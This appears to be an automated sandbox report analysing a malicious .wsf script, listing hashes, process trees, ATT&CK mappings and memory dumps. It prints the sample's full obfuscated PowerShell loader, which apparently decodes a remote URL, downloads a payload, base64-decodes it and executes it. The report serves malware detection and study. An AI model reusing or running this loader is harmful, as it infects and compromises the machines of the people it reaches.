b555b98abe8eb8f9e9f240fdb22070df16680e8864a6d93549a8288f57bff5c7

Analysis

max time kernel
148s
max time network
149s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
24-04-2024 01:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

623f93cf915a4c7e840b51e912221354507f169f6f95121324b4018e33d0d5c8.wsf
Size

55KB
MD5

6d2058cda28b4285006c69ce86422b00
SHA1

e438dc30c51de576537c87eb60d2c3a656f41687
SHA256

623f93cf915a4c7e840b51e912221354507f169f6f95121324b4018e33d0d5c8
SHA512

67a50f0e2ea180f5acd2de2467a52161c29b91040f56c1acc8a4c31dc4d6000c3cf7b93252a7df2d38b747b7c689570b988ee3f9371c44267dba7388c48e9701
SSDEEP

768:YXf54p2p/fwNaKj7gHrI0i3wPDPM+A0s2hyOX0Q4afFysrmUYAYB8nq7r/Iaw0FU:Yx9ukLI1gPDPTxyk0MfFCNqngIaweU

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 27 IoCs

Processes:

powershell.exe

flow	pid	process
6	2824	powershell.exe
7	2824	powershell.exe
8	2824	powershell.exe
9	2824	powershell.exe
10	2824	powershell.exe
11	2824	powershell.exe
12	2824	powershell.exe
13	2824	powershell.exe
14	2824	powershell.exe
15	2824	powershell.exe
16	2824	powershell.exe
17	2824	powershell.exe
18	2824	powershell.exe
19	2824	powershell.exe
20	2824	powershell.exe
21	2824	powershell.exe
22	2824	powershell.exe
23	2824	powershell.exe
24	2824	powershell.exe
25	2824	powershell.exe
26	2824	powershell.exe
27	2824	powershell.exe
28	2824	powershell.exe
29	2824	powershell.exe
30	2824	powershell.exe
31	2824	powershell.exe
32	2824	powershell.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

ping.exeping.exe

pid process

1304 ping.exe
2380 ping.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2824 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2824 powershell.exe

pid	process
1304	ping.exe
2380	ping.exe

pid	process
2824	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1132 wrote to memory of 1304	1132	WScript.exe	ping.exe
PID 1132 wrote to memory of 1304	1132	WScript.exe	ping.exe
PID 1132 wrote to memory of 1304	1132	WScript.exe	ping.exe
PID 1132 wrote to memory of 2380	1132	WScript.exe	ping.exe
PID 1132 wrote to memory of 2380	1132	WScript.exe	ping.exe
PID 1132 wrote to memory of 2380	1132	WScript.exe	ping.exe
PID 1132 wrote to memory of 2644	1132	WScript.exe	cmd.exe
PID 1132 wrote to memory of 2644	1132	WScript.exe	cmd.exe
PID 1132 wrote to memory of 2644	1132	WScript.exe	cmd.exe
PID 1132 wrote to memory of 2824	1132	WScript.exe	powershell.exe
PID 1132 wrote to memory of 2824	1132	WScript.exe	powershell.exe
PID 1132 wrote to memory of 2824	1132	WScript.exe	powershell.exe
PID 2824 wrote to memory of 2772	2824	powershell.exe	cmd.exe
PID 2824 wrote to memory of 2772	2824	powershell.exe	cmd.exe
PID 2824 wrote to memory of 2772	2824	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\623f93cf915a4c7e840b51e912221354507f169f6f95121324b4018e33d0d5c8.wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:1132

C:\Windows\System32\ping.exe
ping google.com -n 1
2⤵
- Runs ping.exe
PID:1304

C:\Windows\System32\ping.exe
ping %.%.%.%
2⤵
- Runs ping.exe
PID:2380

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c dir
2⤵
PID:2644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Babette = 1;$Floristen='Substrin';$Floristen+='g';Function Pikerede($folkemasserndsnvres){$Plasmolysis64=$folkemasserndsnvres.Length-$Babette;For($folkemasser=5; $folkemasser -lt $Plasmolysis64; $folkemasser+=(6)){$Kapitalpensionsordningen+=$folkemasserndsnvres.$Floristen.Invoke($folkemasser, $Babette);}$Kapitalpensionsordningen;}function Search($Buksenederdele){. ($Elsdyrskindene) ($Buksenederdele);}$Glistering=Pikerede 'UnwasMSubmuo Brugz perii Iniel Ri.ilCo rbaRessa/Begma5Engin.Re,ig0.cidi Aff,n(PerboWGarvniEksisn Debud KoncoOddmewSwordsPatri Sed mNBakl.T,ucce Progn1Opaci0ad oc.Sa.th0 forb;Affin VariWBr adiF rfanAfgiv6M.dte4Prem ;Resus ShruxO,ien6Kolbe4m.sme;Evira P.urrLundivEp st:Drv,y1Modta2Nonap1Produ. ,hot0Polyp)Afgha FrdigGParisetalalcCorn k ForsoEtuie/halli2Lat.i0Unsci1In do0Unsil0 Metr1Folde0Forsy1Arbej Phos FSklsaiFryd.rTriumeSvoemfAm nooFabrox Marl/skjol1M.lti2 P.ai1Round.Penne0Indbi ';$Bedsteborgerlige=Pikerede 'UnrehUGen,es Hau,eDe lar.onsu-SpatuAparamgSubtae.azarn,ivuat,opte ';$Skeptophylaxis79=Pikerede 'RestehA.ractCo bitUn ndpNakoo:Synko/Leish/ Fi.ecA,venrKoftey Basepzymo,tCopolopresacSamp.h CommrPolitoaimwrnSge riD.gblcUndualHvlbneSgel sTurnl.Til liEgalio Coun/B,mlegV,ruliSmas fStnde/.ekseCMaioioG,nseaStat.sChinntGrund.Myth,p,enomfBevisb Dani ';$Alexias=Pikerede ' Enca>Hypos ';$Elsdyrskindene=Pikerede 'KokosiBalloe WingxLykke ';$echelonment='Offervillig';Search (Pikerede 'ProsmSPluckeRep,otUkase-SpaniCCurt,oforeanSmarttaftereArecanMeckltRy er iese-S ghtP Und.aStatstAflb.h Sku C armTS ede: rome\ Af eBForelaFlourgR likastribt HoloeAbaxilSk.iglKrimiePan,er Semi.RetactPrezzxo.dfot Coup Nedgr-PorceVDemopaOfferlKnivsu.pereeKuris Ekste$,craseBrinec PaddhRapsoeHypnolFireooHypern P ofm UngreFa.ten Pr,dt Slag;Prepe ');Search (Pikerede ' Trani Bev f Lice Af,d(P.atotRig,de de osReinhtVolun-Oct,cpShearaAfs etMicrohKomme BjemTAnsva:Keyse\UnbesBEnnobaSik egSt ndaGrouctEquiveI,strl.estel ,irkeNonherRevis. gruptRib,exjaggst Hypo) Spi,{Fornre InduxDippeiLseretFumle}tarri;Ma,ti ');$Vurderingsgrundlagets = Pikerede 'Tilgne.ornycGlamhh ngdoCa et Ide l%Fre daHaetspMiskrp DrifdSphaeajappatMo.oraElect%Svits\ erviRPrivauNonmamdykk.v seycgData.t DispsZori..DepenAL ardi PrydrB,ndr Paean& Slag&Honey Dep.he,iscac AesthAndefoApost Drevs$Snirk ';Search (Pikerede ' Phyt$KnopsgJa,zelantiroKondubApproaMisiml ontr:Sa,buUForm.pL.ucat RetseKonson Velad Minu=Bibli( SentcFunktmOpuledTriol Split/F.tticCurur Hans$ Geo VUnpe uIhnderFotoedRundse Bi.lr TrikiPagannStningKlaptspseudgCacherDekoruEgilonHangmdBaldrlExud a,ulkogE,otie A,gitBrdfrsC.mpe)Se.vk ');Search (Pikerede 'Klodr$ Imprg Uti.lAch.poD bbjbSprkkaNonull.ogne:bailsS ,vletVrikkm arveaIkrafaPurpulNeoce= Mr.e$Ver eSTr isk.ortie SpyfptrosktDescroSta.dpMalerhTrepuyPe talSlubbaThermxCounti Undis.rogr7Merud9falsk.Dek,dsToldfp NasalTumefiSkrbet Mero( fuml$R.medAKse.nlEstere ProgxEtamiiSemiaaCholesAver.) ,lle ');$Skeptophylaxis79=$Stmaal[0];Search (Pikerede 'Hvi v$ Asylg S oglRnensoS perbAarena Sla lPr in:CoolhTDem no Red vKommurpr.mie DrillRatstsfdehje ibinsArteslNjesseSubstj .icilAnatoiForvagDyffehInexpeIndstdStreje,essarma.ti= ne,kN psumeKiwitwSamta- rigrOSkridbSulphjNondieNaturcForvatPo.yz WorshS P.osy EmbesBottotCornweMassemtilkn. Ho,pNPr seeStjertRouil.Soev WT sineStrlabMo.ioCAntiel,krmti Fj,reSky.gnP.rtitSprea ');Search (Pikerede ',alve$PetecTPen.oo ubjuvFrokorAngioe ch,llDoxycs,anyae,alibsStolelContreS.ciojRanunlButl.ineslagSi zahJolineP,titd Ya,deU.conrVirtu.VulcaHT,kroeSyreraBea edIntereKriger M rcsEndys[P eud$ SkurBIn.omeJelvadRagersalle.tSku.seDgnplbNonneoTra,srpr ncgGarameUmutrrSv,erlStrigita.fegsprigeStift]Candl=Un.on$ heruGMyr.ilSpi,eiIm.ers AdjetHarmlespi dr Bo.lidriven,arpegSwill ');$Keepnet=Pikerede 'FordyTS,idboDommevApartrDeciseUnderl nclosRemateBaggrs NonflPaleae Ra.dj Gry lStbemi grung Musih Conse SunddRat,oeOr,lyrSpat..FremgDEmbraoF.edrwUnno,n arall isuloCon iaSkovfdKo,muF SymbiS rupl M,umeProc,(C ima$FuldbSBlanckColu,eC,plop ,rintDatacoC.ntapDildehRadioysubspl ProdaBremsxRte.liJodlesdemon7,aten9Overt,Nazis$FatalITl ern Dy eiAverntVaredi,xactaMimiclCh mpl Hy,eyFlipe1 aino9Forfa6Advis)R inv ';$Keepnet=$Uptend[1]+$Keepnet;$Initially196=$Uptend[0];Search (Pikerede 'enefo$A tosgH terlDwarfoVanetbapodoa NatilVaria:KildeRHjemme Begit Antii egmecHestfuCompulDoktraChimntZareneHouse=Blyst(sjavsTD.ikee pecisC,ofst Sla.-HidatPNonpeaVastit Del.hSophi Lista$ArquiITransnMajseiFeckst .ituiSams aBed.elFr frlKroneyExcri1Trina9afren6 Yerb)Mo,og ');while (!$Reticulate) {Search (Pikerede 'Caste$CliffgPediplAcropoBrndebOverma LunklForho: ParaF KogeoK.trerDiskosGennepKappaiRehprs.oiletTyleneH vedsChiap= Elok$RivedtCosmorMuddeuTiskeeBlidg ') ;Search $Keepnet;Search (Pikerede 'PurulSprisit .alea Res r eligtShopp- U,leS DomelDrv re SheaeBredbp Cory D nc4Regio ');Search (Pikerede 'man,d$ MarkgHroarlImme.oFolkebafledaM.sdelUnmen: D,ltR.ivateUdmattKoft.iVkstccStru u ingulNo aha D,sstSenc,e Udsu=Udtmm(mrkl.T AktoeGod.isBattet,esub-P.larP Gs,eaUnme,tNoncahKande Ascog$Slet ITses.nnundiiInscrt B rtiKampvaTy ehlIchthlFerryyIngen1Skole9Port,6 Elle)Inter ') ;Search (Pikerede 'Bedre$SildegHjestlU rego Korrb Nonta,dredlM lan:GarlaO DoedcS,domtcalp odgnflbFordjrPolyha.teincProcehHemp,i HamaaNeso,tAccetePrecl=Stich$Sunk.gUnderlDonnho Sybib BaffaBull.lKlipp:MedalGF okol SkovoAntigsTllersdis noSi,vepHalveh Re toFriskr amoroAnatouBu lssTugte+ R,ts+Kass.%,copa$ExpedSTilretFory,m Krypa Hak,aJamm.lEkskl.Epartc.orneoGobiouHa.aknbe,vrtSe ic ') ;$Skeptophylaxis79=$Stmaal[$Octobrachiate];}Search (Pikerede 'Bangi$pis,igOverilModuloscop,bLozena imaclVldig:BackfVHarmoeNatior Macrm StaniCavillBranci DentoLillinMassei FisksPallaeForunsJonat Ov,r=T,rsd o.puGAg.stePro.ttKimmi-Lov,iCOvertoUnrevnD,ypstChorieEpicynBon it lini Marga$ReoxyIF lignAandsiPalu,tfrersiTha,aaQu,cklBittelItemiy Surn1 Ana,9Mater6Bruge ');Search (Pikerede 'Centr$Fra,rgP,ptil St.noKommubHylluaTombel Sger:st.rvS Dos p AucaiMo,ocrSpasmi Dissf Tri eAgu,orLoord Vinke= Lder Peasa[ForstSApoloyToxicsTraf,tUl,mpeMe,obmRedak.VaaseCSambeo Tankn Un.evImpree WahhrPaagat Tids]Kvali: atef:Svm eFUskikrDioesoQualimFoundBVildsa BaarsHjhaseNerv 6Sub.e4PreclSDrejbt ormrSerapiTrincnProang.ille(Kontr$SuperVTownleNe,tirs,ansmSkinni ,ktilKvadriSort o CondnLiniei E tes.ircie HydrsThist)Pr su ');Search (Pikerede 'Garge$GulvbgTyknilKontioUdstyb In iaDggetlBelea:Per.vD ConfeScowls Woods espeeFore rOphtht OversErhvepWoodeoTinseoSva.bnSynft Tovtr=Yt er Cerio[,etteSTrum.yIndu sSnusktCo nteAnalymOptis.Nean,Tdis,reMicrox SweetSekte.InterEOverwnTilslcMotivoEmigrdKartoiAfgn nP rtigSwive]Eva.g:Sy,ep: AtlaACountS.ldssCathe.IGusseIOvers.EmigrGWifehery,ekt.tersSTramptRho irPi keiRe,trn PalagRais (ignor$ ,eesSPer,zpKo reiImpror ForaiK,apofsieste vandrObolt)Finan ');Search (Pikerede ' Hand$HustrgA gellThereosydambEmigraSparrlStruk:Exce DdraabeProcuf.upplo PugirPutric Oldee LonkoLaager Skov=Infec$ LumrD RingeToplasSkraasPibeneNongrreuryatCondosStomaplufthoMetrao CharnBrdf..hund.sCroceuRawinbOpgavs NorwtTragir,aleniUfo.nnSelenglogw.( Vedg3Rente2 pasq8Unga.9Under8 Farl8Blaaj,Forsn2Eozoo9 Flot1 Smaa5Bedrv1,rtho)Hoved ');Search $Deforceor;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rumvgts.Air && echo $"
3⤵
PID:2772

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2824-4-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2824-5-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2824-6-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-7-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2824-8-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-9-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2824-10-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2824-11-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2824-12-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-13-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2824-14-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2824-15-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download